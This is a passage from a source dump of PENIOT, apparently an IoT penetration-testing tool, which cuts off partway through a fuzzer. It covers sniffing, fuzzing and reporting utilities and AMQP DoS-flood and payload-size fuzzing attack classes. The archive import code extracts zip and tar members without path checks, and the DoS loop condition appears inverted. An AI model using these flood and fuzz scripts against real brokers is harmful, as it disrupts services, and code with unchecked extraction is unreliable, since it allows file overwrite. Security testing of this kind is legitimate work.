if option == ExportOptions.PROTOCOL:
ExportUtil.export_protocol(protocol_name, file_path, extension, file_name)
elif option == ExportOptions.ATTACK:
ExportUtil.export_attack(protocol_name, attack_name, file_path, extension, file_name)
elif option == ExportOptions.ATTACK_SUITE:
ExportUtil.export_attack_suite(protocol_name, attack_suite_name, file_path, extension, file_name)
else:
raise ValueError("Unknown export option!")
if __name__ == '__main__':
ExportUtil.export_protocol("KNX", "./", ExportTypes.ZIP, "hey")
================================================
FILE: src/Utils/ExtendUtil/import_util.py
================================================
from enum import Enum
from os import listdir
from os.path import isfile, join
import logging
import os
import shutil
import tarfile
import zipfile
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("Util - Import")
class ImportOptions(Enum):
"""
Enumeration types for import options such as Protocol, Attack_OR_Attack Suite
If user chooses PROTOCOL, then s/he can directly import without selecting any other input
Otherwise, we need to provide currently loaded protocols to select to which one we will import
"""
PROTOCOL = 0
ATTACK_OR_ATTACK_SUITE = 1
class ImportUtil(object):
# Path related variables
BASE_PATH_OF_TEMP = os.path.dirname(os.path.abspath(__file__))
PROTOCOLS_DIR_NAME = "../../protocols/tmp"
TEMP_FULL_PATH = BASE_PATH_OF_TEMP + "/" + PROTOCOLS_DIR_NAME
TEMP_DIR_NAME = ".tmp"
# Get entities
ENTITY_PATH = BASE_PATH_OF_TEMP + "/../../Entity/"
ENTITIES = [_ for _ in listdir(ENTITY_PATH) if
isfile(join(ENTITY_PATH, _)) and not _.startswith("__") and not _.endswith(".pyc")]
@staticmethod
def startup():
"""
Startup function that will be called program starting point in order to create necessary containers
Currently creates the followings:
* Temporary directory imported files
"""
try:
if os.path.isdir(ImportUtil.TEMP_FULL_PATH):
shutil.rmtree(ImportUtil.TEMP_FULL_PATH)
os.mkdir(ImportUtil.TEMP_FULL_PATH)
# make this directory a package
os.open(ImportUtil.TEMP_FULL_PATH + "/__init__.py", os.O_CREAT)
except OSError:
logger.error("Creation of the directory {0} failed.".format(ImportUtil.TEMP_DIR_NAME))
else:
logger.info("Creation of the directory {0} successfully done.".format(ImportUtil.TEMP_DIR_NAME))
pass
@staticmethod
def shutdown():
"""
Shutdown function that will be exit stage of program in order to clean everything that are already created
"""
try:
if os.path.isdir(ImportUtil.TEMP_FULL_PATH):
shutil.rmtree(ImportUtil.TEMP_FULL_PATH)
except OSError:
logger.error("Deletion of the directory {0} failed.".format(ImportUtil.TEMP_DIR_NAME))
else:
logger.info("Deletion of the directory {0} successfully done.".format(ImportUtil.TEMP_DIR_NAME))
pass
@staticmethod
def trigger_import(input_path, protocol_name=None):
try:
import_action = ImportUtil.import_function_factory(input_path)
dir_name, file_name = os.path.split(input_path)
# If the protocol name is provided, it means that we are importing a attack/attack suite
# Therefore, put the imported files to corresponding attacks directory
if protocol_name is not None:
full_path_to_out_dir = ImportUtil.TEMP_FULL_PATH + "/" + protocol_name + "/attacks/" + \
file_name.split(".", 1)[0]
else:
full_path_to_out_dir = ImportUtil.TEMP_FULL_PATH + "/" + file_name.split(".", 1)[0]
try:
os.mkdir(full_path_to_out_dir)
except OSError:
logger.error("Creation of the directory {0} failed.".format(full_path_to_out_dir))
else:
logger.info("Creation of the directory {0} successfully done.".format(full_path_to_out_dir))
import_action(input_path, full_path_to_out_dir)
except RuntimeError as _:
logger.error(_.message)
@staticmethod
def import_function_factory(input_path):
options = [
(zipfile.is_zipfile, ImportUtil.import_zip),
(tarfile.is_tarfile, ImportUtil.import_tar)
]
for option in options:
try:
if option[0](input_path):
return option[1]
else:
continue
except Exception:
pass
raise RuntimeError("Unknown import extension!")
@staticmethod
def import_zip(input_path, full_out_dir_path):
zf = zipfile.ZipFile(input_path, mode='r')
namelist = zf.namelist()
for _file in namelist:
if ImportUtil._do_not_import_names(_file):
continue
try:
zf.extract(_file, full_out_dir_path)
except RuntimeError as _:
logger.error("Error has occurred while extracting file {0}".format(_file))
zf.close()
@staticmethod
def import_tar(input_path, full_out_dir_path):
tar = tarfile.open(input_path)
namelist = tar.getnames()
for _file in namelist:
if ImportUtil._do_not_import_names(_file):
continue
try:
tar.extract(_file, full_out_dir_path)
except RuntimeError as _:
logger.error("Error has occurred while extracting file {0}".format(_file))
tar.close()
@staticmethod
def import_protocol(file_path):
ImportUtil.trigger_import(file_path)
# Take actions with respect to importing of protocol
@staticmethod
def import_attack_or_attack_suite(file_path, protocol_name):
ImportUtil.trigger_import(file_path, protocol_name)
# Take actions with respect to importing of attack or attack suite
@staticmethod
def _is_file_name(name):
"""
:param name: File name or directory name
:return: Whether name represents file or not
"""
return not name.endswith("/")
@staticmethod
def _do_not_import_names(name):
return name in ImportUtil.ENTITIES
@staticmethod
def import_action(file_path, option, protocol_name=None):
if option == ImportOptions.PROTOCOL:
ImportUtil.import_protocol(file_path)
elif option == ImportOptions.ATTACK_OR_ATTACK_SUITE:
if protocol_name is None or protocol_name is "":
raise ValueError("You need to provide protocol name to bind attack to that protocol!")
ImportUtil.import_attack_or_attack_suite(file_path, protocol_name)
else:
raise ValueError("Unknown export option!")
if __name__ == '__main__':
ImportUtil.startup()
================================================
FILE: src/Utils/FilterUtil/__init__.py
================================================
"""
Filtering Utilities
It contains necessary functionalities used for filtering packets in several attacks
1) PyShark Filterer (used with Generic Sniffer)
"""
================================================
FILE: src/Utils/FilterUtil/pyshark_filter_util.py
================================================
import logging
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("Util - PyShark Filter")
class PySharkFilter:
"""
Container class for internally represented pyshark filter
where filter has layer_name, field_nane and value to be checked while filter
"""
def __init__(self, layer_name, field_name, value):
self.layer_name = layer_name
self.field_name = field_name
self.value = value
def set_layer_name(self, layer_name):
self.layer_name = layer_name
return self
def get_layer_name(self):
return self.layer_name
def set_field_name(self, field_name):
self.field_name = field_name
return self
def get_field_name(self):
return self.field_name
def set_value(self, value):
self.value = value
return self
def get_value(self):
return self.value
def apply_filter_to_packet(self, packet):
"""
Apply filter to packet, if exists check value equality otherwise return False
:param packet: Packet to be filtered
:return: Whether packet is the same value with filter value
"""
try:
return packet[self.layer_name].get_field_value(self.field_name).main_field.raw_value == unicode(self.value)
except KeyError:
logger.error("Given layer name or field name is not defined in packet!")
return False
================================================
FILE: src/Utils/FuzzerUtil/__init__.py
================================================
"""
Fuzzer Utilities
It contains necessary functionalities used for fuzzing attacks
1) Radamsa Random Fuzzing Payload Generator
"""
================================================
FILE: src/Utils/FuzzerUtil/radamsa_util.py
================================================
import logging
import subprocess
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
logger = logging.getLogger("Util - Radamsa")
ASCII_DECODE_LIMIT = 128
def radamsa_malformed_input_generator(input_string, output_count=1):
"""
Return test case output from given input string
:param output_count: Number of returned output strings
:param input_string: Any type of variable can be input
:return: Radamsa generated output string for fuzzing
"""
# Create subprocess for both echo and radamsa
echo_process = subprocess.Popen(["echo", input_string], stdout=subprocess.PIPE)
radamsa_process = subprocess.Popen(["radamsa", "-n", str(output_count)],
stdin=echo_process.stdout, stdout=subprocess.PIPE)
echo_process.stdout.close()
# Get values
output_string, error_message = radamsa_process.communicate()
if error_message is None:
if output_count > 1:
# If it are more than one, then split it
return output_string.split("\n")
else:
return output_string
else:
logger.debug(error_message)
def get_ascii_decodable_radamsa_malformed_input(input_string, output_count=1):
def delete_non_ascii_characters(_string):
return "".join([_ for _ in _string if ord(_) < ASCII_DECODE_LIMIT])
returned_strings = radamsa_malformed_input_generator(input_string, output_count)
_type = type(returned_strings)
if _type == list:
return [delete_non_ascii_characters(_returned_string) for _returned_string in returned_strings]
elif _type == str:
return delete_non_ascii_characters(returned_strings)
else:
logger.error("Non-matched type for output value")
================================================
FILE: src/Utils/RandomUtil/__init__.py
================================================
"""
Random Utilities
It contains necessary functionalities that is related to randomized operations.
"""
================================================
FILE: src/Utils/RandomUtil/random_generated_names.py
================================================
import random
import string
import time
def get_random_client_name():
return 'peniot-cli-' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits)
for _ in range(16)) + '-' + str(int(time.time()))
def get_random_file_name():
return 'peniot_file_' + ''.join(random.choice(string.ascii_uppercase + string.ascii_lowercase + string.digits)
for _ in range(16)) + '-' + str(int(time.time()))
================================================
FILE: src/Utils/ReportUtil/__init__.py
================================================
"""
Report Generation Utilities
It contains necessary functionalities used for reporting
1) Report Generator
"""
================================================
FILE: src/Utils/ReportUtil/report_generator.py
================================================
from fpdf import FPDF
from Utils.CommonUtil import get_current_datetime_for_report_format, get_current_datetime_for_filename_format
class PeniotPDF(FPDF):
TITLE = 'PENIOT: Penetration Testing Tool for IoT'
COPYRIGHT = 'Copyright ' + chr(169) + ' 2018 - 2019 PENIOT Group. All Rights Reserved.'
def header(self):
self.set_font('Arial', 'B', 16)
# Add an address
self.cell(0, 15, self.TITLE, ln=1, align='C')
# Line break
self.ln(15)
self.line(0, 35, self.w, 35)
def footer(self):
self.set_y(-10)
self.set_font('Arial', size=9)
page = 'Page ' + str(self.page_no())
self.cell(0, 5, self.COPYRIGHT, 0, 0, 'C', 0)
self.cell(0, 5, page, 0, 0, 'R')
def add_title_and_date(self, attack_name):
self.set_font("Arial", size=14, style='B')
self.cell(0, 5, attack_name + ' Summary', 0, 0, 'L')
self.set_font("Arial", size=12)
self.cell(0, 5, 'Date: ' + get_current_datetime_for_report_format(), 0, 0, 'R')
self.ln(10)
def add_attack_logs(self, attack_logs):
self.set_font("Arial", size=12)
self.multi_cell(0, 5, txt=attack_logs)
class GenerateReport(object):
@staticmethod
def generate_pdf_from_text(protocol_name, attack_name, attack_logs, directory):
pdf = PeniotPDF()
pdf.add_page()
pdf.add_title_and_date(attack_name)
pdf.add_attack_logs(attack_logs)
output_name = ('_'.join((protocol_name + ' ' + attack_name).split())).lower()
pdf.output(directory + output_name + '_' + get_current_datetime_for_filename_format())
if __name__ == '__main__':
txt = """
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Cras quis lacus varius, tempus odio vitae, tempor enim. Cras ut nibh justo. Ut diam ipsum, interdum commodo orci non, ultrices dictum magna. Curabitur tortor lacus, finibus et mattis nec, malesuada nec nibh. Morbi nec sem a leo tincidunt viverra quis eget leo. Aliquam erat volutpat. In tempor auctor tincidunt. Aliquam lectus dui, semper vel justo a, molestie tristique magna. Mauris nec vulputate sapien, blandit convallis felis. In a orci vel urna vehicula faucibus quis et mi. Duis lacus magna, malesuada eu mattis vestibulum, interdum vitae lectus. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Suspendisse a lectus id nibh semper hendrerit non eget nisi. Maecenas massa magna, euismod ac dui et, tristique porta metus. Maecenas sed massa eget leo commodo sagittis iaculis ac nisi. Suspendisse ullamcorper, purus quis faucibus venenatis, metus mauris faucibus turpis, ac posuere magna velit non est. Ut ac odio vitae ante ultricies aliquam. Quisque sapien sem, condimentum at erat nec, luctus facilisis nisl. Sed maximus velit ac pellentesque sagittis. Donec ac sagittis leo, et laoreet sem. Vivamus egestas lectus non bibendum accumsan. Sed tempus risus id odio volutpat, a ullamcorper odio lacinia. In vitae velit nulla. Praesent a venenatis diam, a vestibulum tortor.
Duis tincidunt efficitur faucibus. Praesent eget dui tellus. Vestibulum dapibus aliquam arcu. Donec vulputate sem enim, quis tincidunt diam blandit ut. Curabitur accumsan maximus risus, sed dictum ligula volutpat vitae. Curabitur convallis ac mauris ut consectetur. Quisque tellus arcu, ultrices vel ante quis, aliquet fringilla mauris. Sed ornare eros sed interdum facilisis. Duis dictum augue vel rutrum maximus. Phasellus neque dolor, pretium non risus in, tincidunt feugiat eros. Integer vel odio iaculis, faucibus neque quis, mollis enim. Etiam ac euismod orci. Donec tempor, erat at cursus porta, tortor sem aliquam leo, eget porta erat libero eu enim. Etiam felis elit, consectetur a facilisis id, porta quis nulla. Quisque libero odio, ultrices quis est et, efficitur pellentesque dui.
Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Praesent semper tempus risus, eu condimentum leo interdum sed. Aenean turpis leo, aliquet non ligula venenatis, fermentum maximus velit. Aliquam aliquam posuere libero, quis cursus nisl gravida quis. Proin ac interdum lorem, vitae varius lacus. Maecenas sit amet convallis leo, sit amet tincidunt enim. Suspendisse sit amet risus sit amet libero aliquam mollis. Vestibulum vehicula lacus condimentum, fermentum turpis id, pretium eros. Cras sagittis sem nec porta dictum. Donec a accumsan dolor. Nam dictum eros at leo viverra, ac mattis elit placerat. Mauris ornare pulvinar massa nec rutrum. Nunc nec erat at est lobortis dictum ut in enim. Donec eu est sit amet lacus feugiat blandit. Praesent a sollicitudin ex, blandit fermentum tellus. Nulla vitae viverra ipsum, in pharetra dolor.
Praesent imperdiet nec nisi aliquam dictum. Nunc ultricies sodales porta. Donec consectetur finibus tellus, porttitor sodales sapien pulvinar in. Duis suscipit suscipit felis eu luctus. Nam in dolor aliquam, laoreet elit a, faucibus ligula. Nulla quis nisl imperdiet dolor molestie rhoncus. Fusce neque tortor, blandit at sapien in, egestas fermentum felis. Curabitur auctor ipsum vitae velit vestibulum ultrices.
Pellentesque eget lectus urna. Aenean commodo semper orci sit amet dictum. Curabitur ultrices vitae ipsum in bibendum. Nunc at justo ut augue mollis aliquam. Sed varius, purus at sagittis condimentum, ex velit elementum neque, at malesuada dui arcu nec orci. Nullam viverra, nisi aliquam porta tempor, ex ex bibendum eros, eu viverra urna turpis eu massa. Vestibulum quam lectus, ullamcorper sit amet imperdiet in, tincidunt quis tortor.
Sed non mollis ligula, non imperdiet nunc. Nam elementum augue sit amet risus pulvinar, id dapibus velit laoreet. Sed commodo arcu ut tellus commodo, sed gravida nisl viverra. Sed non sapien lacus. Etiam nec gravida urna, vitae sodales risus. Donec iaculis vel ex aliquam imperdiet. Maecenas condimentum imperdiet porta. Suspendisse potenti. Donec tincidunt vestibulum libero, ac lobortis nisi interdum ac. Curabitur luctus nisl a lorem ultrices pellentesque. Nam eleifend at ex nec pretium. Nullam id purus eget metus facilisis condimentum quis non urna. Quisque et volutpat purus. Pellentesque facilisis molestie orci, a pharetra dolor aliquet sed.
Vestibulum purus mi, dapibus ac rutrum et, convallis at magna. Nunc leo justo, finibus quis molestie vel, accumsan sit amet diam. Quisque vehicula lacus vitae augue imperdiet vulputate. Phasellus vulputate metus vel ex dapibus, nec pretium sapien eleifend. Cras metus erat, vehicula sed mi ut, eleifend finibus dui. Mauris bibendum, velit vel mollis sodales, libero orci congue dui, non dapibus eros lectus malesuada tortor. Ut dignissim dui turpis, ut faucibus velit consectetur nec. Aenean vestibulum turpis pulvinar egestas fringilla. Suspendisse potenti. Etiam dignissim sapien ac velit molestie, ac blandit augue tempor. Pellentesque laoreet tellus a dui dignissim, eget sagittis lacus pharetra. Sed id elit ac lorem tristique cursus. Nunc vel porta augue. Lorem ipsum dolor sit amet, consectetur adipiscing elit.
Donec at dolor eget arcu dignissim mollis at eget erat. Aenean sodales enim id massa vehicula, ac tempus massa dictum. Praesent facilisis id urna vel scelerisque. Etiam pharetra consequat massa eget molestie. Donec ullamcorper ipsum ut orci aliquet placerat. Quisque sit amet magna quis velit tincidunt placerat. Nulla facilisi. Class aptent taciti sociosqu ad litora torquent per conubia nostra, per inceptos himenaeos. Duis congue est sit amet arcu sollicitudin dapibus. Maecenas tristique venenatis ante, eu elementum leo sollicitudin vel.
Suspendisse at accumsan nulla. Nam blandit auctor purus posuere tempor. Pellentesque molestie pellentesque justo ut condimentum. Aenean non fringilla mi. Nullam elementum nibh orci, eget imperdiet eros elementum hendrerit. Nam vitae volutpat odio. Pellentesque a ligula iaculis odio varius porta at ut ipsum.
Nulla mi augue, malesuada iaculis nibh sed, blandit molestie enim. Donec luctus ipsum sed mollis porta. Nam hendrerit finibus turpis, ac elementum ante mattis vel. Aliquam tincidunt varius tellus sed tempus. Fusce vel tellus sem. Sed suscipit ex in auctor dictum. Duis ullamcorper tortor urna, non ullamcorper justo convallis ac. Nullam at est magna. Nam id erat mattis orci bibendum ultrices et in nisl. Maecenas a fringilla lorem. In facilisis, sapien volutpat posuere consectetur, ligula erat ornare neque, a ornare velit.
"""
GenerateReport.generate_pdf_from_text('CoAP', 'DoS Attack', txt)
================================================
FILE: src/Utils/SnifferUtil/__init__.py
================================================
"""
Sniffer Utilities
It contains necessary functionalities used for sniffers
1) Generic Sniffer with PyShark
"""
================================================
FILE: src/Utils/SnifferUtil/generic_sniffer.py
================================================
import logging
import os
import pyshark
from Utils.FilterUtil import pyshark_filter_util as pyshark_filter_util
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s : %(message)s")
logger = logging.getLogger("Generic Sniffer")
DEFAULT_INTERFACE = "any"
DEFAULT_SNIFF_TIMEOUT = 15.
DEFAULT_SAVE = False
DEFAULT_SAVE_DIR = os.path.dirname(os.path.abspath(__file__)) + "/../../captured_packets/"
def filter_packets_by_filter_list(packets, filter_list):
"""
:param packets: Packet list
:param filter_list: Filters with respect to packet field
:type filter_list: list of pyshark_filter_util.PySharkFilter
:return: Filtered packets as list
"""
filtered_packets = [packet for packet in packets
if all(single_filter.apply_filter_to_packet(packet) for single_filter in filter_list)]
return filtered_packets
class GenericSniffer:
"""
Generic sniffer template class
The class can listen specific interface by tshark over pyshark
and filter wanted packets by looking at display filter parameter
with the given timeout amount
"""
def __init__(self, timeout=DEFAULT_SNIFF_TIMEOUT, interface=DEFAULT_INTERFACE, use_json=False, include_raw=False,
output_pcap_filename=None, output_dir=DEFAULT_SAVE_DIR, display_filter=None):
self.captured_packets = None
self.timeout = timeout
self.interface = interface
self.use_json = use_json
self.include_raw = include_raw
# Default value is None and it is important to have it None since it will not produce file in this case
if output_pcap_filename is None:
self.output_pcap_filename = None
else:
self.output_pcap_filename = "{0}{1}{2}".format(output_dir, output_pcap_filename,
("" if output_pcap_filename.endswith(".pcap") else ".pcap"))
self.display_filter = display_filter
def start_live_capture(self):
"""
Start capture procedure of packets over listener
:return: None since captured packets are saved internally
"""
capture = pyshark.LiveCapture(interface=self.interface, use_json=self.use_json, include_raw=self.include_raw,
output_file=self.output_pcap_filename, display_filter=self.display_filter)
capture.sniff(timeout=self.timeout)
self.captured_packets = capture._packets
logger.info("{0} packets are captured.".format(len(self.captured_packets)))
capture.close()
def get_captured_packets(self):
"""
:return: Captured packets as list
"""
return self.captured_packets
def filter_packets_by_protocol(self, protocol=None):
"""
Filtering operation of packets via protocol name
:param protocol: Protocol name which will be used for filtering packets by looking their layers
:return: Filtered packet list
"""
if protocol is None:
return self.captured_packets
else:
return filter(lambda packet: protocol in str(packet.layers), self.captured_packets)
if __name__ == '__main__':
sniffer = GenericSniffer()
sniffer.start_live_capture()
================================================
FILE: src/Utils/__init__.py
================================================
"""
General Utility Module
"""
================================================
FILE: src/__init__.py
================================================
================================================
FILE: src/captured_packets/__init__.py
================================================
"""
This package contains the all captured packets.
The files inside this package follows these rules:
- Name of the file begins with the protocol name which packets belong to.
- Then, the time at which packets are captured is appended to the file name.
- The file extension is .pcap.
Here are some example file names:
MQTT_2014-09-26_16:34:40.pcap, AMQP_2014-09-26_17:25:40.pcap
"""
================================================
FILE: src/module_installer.py
================================================
print "Checking whether we have necessary dependencies installed..."
try:
import paho.mqtt
print "[+] You have paho-mqtt module installed."
except ImportError:
print "[-] You have to install paho.mqtt module"
print "\tHint: sudo -H pip install paho-mqtt"
try:
import bluepy
print "[+] You have bluepy module installed."
except ImportError:
print "[-] You have to install bluepy module"
print "\tHint: sudo -H pip install bluepy"
try:
import coapthon
print "[+] You have coapthon module installed."
except ImportError:
print "[-] You have to install coapthon module"
print "\tHint: sudo -H pip install coapthon"
try:
import Cython
print "[+] You have Cython module installed."
except ImportError:
print "[-] You have to install Cython module"
print "\tHint: sudo -H pip install Cython"
try:
import pygame
print "[+] You have pygame module installed."
except ImportError:
print "[-] You have to install pygame module"
print "\tHint: sudo -H pip install pygame"
try:
import pika
print "[+] You have pika module installed."
except ImportError:
print "[-] You have to install pygame module"
print "\tHint: sudo -H pip install pika"
================================================
FILE: src/peniot.py
================================================
# Run the program driver of tkinter
if __name__ == '__main__':
from GUI.tkinter import run
run()
================================================
FILE: src/protocols/AMQP/__init__.py
================================================
"""
This package contains the following functionalities:
1) Example usage of AMQP.
2) AMQP Scanner
"""
================================================
FILE: src/protocols/AMQP/amqp_protocol.py
================================================
import unittest
from Entity.protocol import Protocol
class AMQP(Protocol):
def __init__(self):
amqp_definition = "AMQP stands for Advanced Message Queuing Protocol and it is an open standard application layer protocol.\n\n" \
"There are a couple of key parts in AMQP:\n" \
"* Broker (Server): An application - implementing the AMQP model - that accepts connections from clients\n" \
" for message routing, queuing etc.\n" \
"* Message: Content of data transferred / routed including information such as payload and message attributes.\n" \
"* Consumer: An application which receives message(s) - put by a producer - from queues.\n" \
"* Producer: An application which puts messages to a queue."
attack_suites = []
Protocol.__init__(self, "AMQP", attack_suites, amqp_definition)
class TestAMQPProtocol(unittest.TestCase):
def setUp(self):
self.amqp = AMQP()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("AMQP", self.amqp.get_protocol_name())
def test_attacks(self):
attack_suites = self.amqp.get_attack_suites()
self.assertIsNotNone(attack_suites)
self.assertEquals(len(attack_suites), 0)
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/AMQP/amqp_scanner.py
================================================
from Utils.SnifferUtil import generic_sniffer as generic_sniffer
# Capturing via TShark
amqp_layer_filter = "amqp"
class AMQPScanner:
"""
This class is used to scan for a AMQP device.
It captures packets from the network and try to find AMQP devices.
"""
def __init__(self):
pass
@staticmethod
def scan(timeout=generic_sniffer.DEFAULT_SNIFF_TIMEOUT, interface=generic_sniffer.DEFAULT_INTERFACE,
use_json_and_include_raw=False, output_pcap_filename=None):
sniffer = generic_sniffer.GenericSniffer(timeout=timeout, interface=interface,
use_json=use_json_and_include_raw,
include_raw=use_json_and_include_raw,
output_pcap_filename=output_pcap_filename,
display_filter=amqp_layer_filter)
sniffer.start_live_capture()
return sniffer.get_captured_packets()
if __name__ == '__main__':
packets = AMQPScanner().scan()
for packet in packets:
print packet
================================================
FILE: src/protocols/AMQP/attacks/__init__.py
================================================
"""
This is a package that contains attacks to AMQP protocol.
Currently, it supports the following attacks
1) Denial of Service Attack
2) Fuzzing Attack
"""
================================================
FILE: src/protocols/AMQP/attacks/amqp_dos_attack.py
================================================
import logging
import multiprocessing
import signal
import time
import unittest
import pika
from Entity.attack import Attack
from Entity.input_format import InputFormat
class AMQPDoSAttack(Attack):
"""
AMQP Protocol - DoS Attack Module
"""
# Input Fields
host = "localhost"
queue = "peniot-queue"
exchange = "peniot-exchange"
routing_key = "peniot-routing-key"
body = "peniot-body"
exchange_type = "direct"
timeout = 0.01
# Misc Members
connection = None
channel = None
logger = None
sent_message_count = 0
stopped_flag = False
def __init__(self):
default_parameters = ["", "", "", "", "", "", 10.0]
inputs = [
InputFormat("Host Name", "host", "localhost", str, mandatory=True),
InputFormat("Queue Name", "queue", "peniot-queue", str, mandatory=True),
InputFormat("Exchange Name", "exchange", "peniot-exchange", str, mandatory=True),
InputFormat("Routing Key", "routing_key", "peniot-routing-key", str, mandatory=True),
InputFormat("Message Body", "body", "peniot-body", str, mandatory=True),
InputFormat("Exchange Type", "exchange_type", "direct", str, mandatory=True),
InputFormat("Timeout", "timeout", self.timeout, float)
]
Attack.__init__(self, "AMQP DoS Attack", inputs, default_parameters,
" We send AMQP requests to the client.\n"
" The time difference between those requests\n"
" can be specified.")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Connection will be closed")
self.stopped_flag = True
if self.connection is not None:
self.connection.close()
time.sleep(2) # Sleep two seconds so the user can see the message
def pre_attack_init(self):
# Get connection and channel
self.connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.host))
self.channel = self.connection.channel()
# Create exchange
self.channel.exchange_declare(exchange=self.exchange, exchange_type=self.exchange_type)
# Define queue to store
self.channel.queue_declare(queue=self.queue)
def run(self):
super(AMQPDoSAttack, self).run()
self.pre_attack_init()
# Start client loop for requests
while self.stopped_flag is True:
self.sent_message_count += 1
self.channel.basic_publish(exchange=self.exchange, routing_key=self.routing_key, body=self.body)
self.logger.info("{0} messages published.".format(str(self.sent_message_count)))
time.sleep(self.timeout)
class TestMQTTDoSAttack(unittest.TestCase):
def setUp(self):
self.amqp_dos_attack = AMQPDoSAttack()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("AMQP DoS Attack", self.amqp_dos_attack.get_attack_name())
def test_inputs(self):
inputs = self.amqp_dos_attack.get_inputs()
self.assertIsNotNone(inputs)
self.assertGreater(len(inputs), 0, "Non inserted inputs")
self.assertEquals(len(inputs), 7)
def test_non_initialized_inputs(self):
inputs = self.amqp_dos_attack.get_inputs()
for _input in inputs:
value = getattr(self.amqp_dos_attack, _input.get_name())
self.assertTrue(value is None or type(value) == _input.get_type())
def test_after_getting_inputs(self):
example_inputs = ["a.b.c.d", "pen-queue", "pen-exchange", "pen-routing-key", "peniot-payload", "pen-exh-type",
13.2]
for index, _input in enumerate(example_inputs):
self.amqp_dos_attack.inputs[index].set_value(_input)
# Previously it should not be set
self.assertIsNone(self.amqp_dos_attack.connection)
super(AMQPDoSAttack, self.amqp_dos_attack).run()
inputs = self.amqp_dos_attack.get_inputs()
for index, _input in enumerate(inputs):
value = getattr(self.amqp_dos_attack, _input.get_name())
self.assertEqual(example_inputs[index], value)
def test_dos_attack(self):
def run_attack():
example_inputs = ["localhost", "peniot-queue", "peniot-exchange", "peniot-routing-key", "peniot-body",
"direct", 1]
for index, _input in enumerate(example_inputs):
self.amqp_dos_attack.inputs[index].set_value(_input)
self.amqp_dos_attack.run()
print "* If server is not initialized this test will not execute properly."
p = multiprocessing.Process(target=run_attack, name="DoS Attack")
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/AMQP/attacks/amqp_fuzzing_attack_suite.py
================================================
from amqp_payload_size_fuzzer import *
from amqp_random_payload_fuzzing import *
from Entity.attack_suite import AttackSuite
class AMQPFuzzingAttackSuite(AttackSuite):
def __init__(self):
attacks = [AMQPRandomPayloadFuzzingAttack(), AMQPPayloadSizeFuzzerAttack()]
AttackSuite.__init__(self, "AMQP Fuzzing Attack Suite", attacks)
class TestAMQPFuzzingAttackSuite(unittest.TestCase):
def setUp(self):
self.amqp_fuzzing_attack_suite = AMQPFuzzingAttackSuite()
def tearDown(self):
pass
def test_name(self):
self.assertEqual("AMQP Fuzzing Attack Suite", self.amqp_fuzzing_attack_suite.get_attack_suite_name())
def test_attack_list(self):
attacks = self.amqp_fuzzing_attack_suite.get_attacks()
self.assertIsNotNone(attacks)
self.assertGreater(len(attacks), 0, "Non inserted attacks")
self.assertEquals(len(attacks), 2)
def test_attacks(self):
attacks = self.amqp_fuzzing_attack_suite.get_attacks()
for attack in attacks:
p = multiprocessing.Process(target=attack.run, name=attack.get_attack_name())
p.start()
time.sleep(5)
if p.is_alive():
p.terminate()
p.join()
if __name__ == '__main__':
unittest.main()
================================================
FILE: src/protocols/AMQP/attacks/amqp_payload_size_fuzzer.py
================================================
import logging
import multiprocessing
import random
import signal
import time
import unittest
import pika
from Entity.attack import Attack
from Entity.input_format import InputFormat
class AMQPPayloadSizeFuzzerAttack(Attack):
"""
AMQP Protocol - Payload Size Fuzzer Attack module
It is created to test any AMQP device as black box test with malformed or semi-malformed inputs
"""
# Input Fields
host = "localhost"
queue = "peniot-queue"
exchange = "peniot-exchange"
routing_key = "peniot-routing-key"
payload = None
exchange_type = "direct"
turn = 10
# Misc Members
connection = None
channel = None
logger = None
sent_message_count = 0
max_payload_length = 2 ** 32
stopped_flag = False
def __init__(self):
default_parameters = ["", "", "", "", "", "", 10]
inputs = [
InputFormat("Host Name", "host", "localhost", str, mandatory=True),
InputFormat("Queue Name", "queue", "peniot-queue", str, mandatory=True),
InputFormat("Exchange Name", "exchange", "peniot-exchange", str, mandatory=True),
InputFormat("Routing Key", "routing_key", "peniot-routing-key", str, mandatory=True),
InputFormat("Payload", "payload", "", str, mandatory=True),
InputFormat("Exchange Type", "exchange_type", "direct", str, mandatory=True),
InputFormat("Fuzzing Turn", "turn", 10, int)
]
Attack.__init__(self, "AMQP Payload Size Fuzzer Attack", inputs, default_parameters,
" AMQP Payload size fuzzer attack description")
logging.basicConfig(level=logging.DEBUG, format="%(asctime)s:%(levelname)s:%(name)s:%(message)s")
# Signal handler to exit from function
signal.signal(signal.SIGINT, self.signal_handler)
def signal_handler(self, sig, frame):
self.stop_attack()
def stop_attack(self):
self.logger.info("Connection will be closed")
self.stopped_flag = True
if self.connection is not None:
self.connection.close()
time.sleep(2) # Sleep two seconds so the user can see the message
def pre_attack_init(self):
try:
assert self.turn >= 2
except AssertionError as e:
raise
# Get connection and channel
self.connection = pika.BlockingConnection(pika.ConnectionParameters(host=self.host))
self.channel = self.connection.channel()
# Create exchange
self.channel.exchange_declare(exchange=self.exchange, exchange_type=self.exchange_type)
# Define queue to store
self.channel.queue_declare(queue=self.queue)
def run(self):
Attack.run(self)
self.pre_attack_init()
assert self.turn >= 2
# Fill the size list as randomly generated
size_list = [0, self.max_payload_length]
size_list.extend([random.randint(0, self.max_payload_length) for _ in range(self.turn - 2)])
fuzzing = 0
self.logger.info("Size payload fuzzing is started. Please consider it may take some time.")
for payload_size in size_list:
if self.stopped_flag is True:
break
# Create payload and send it
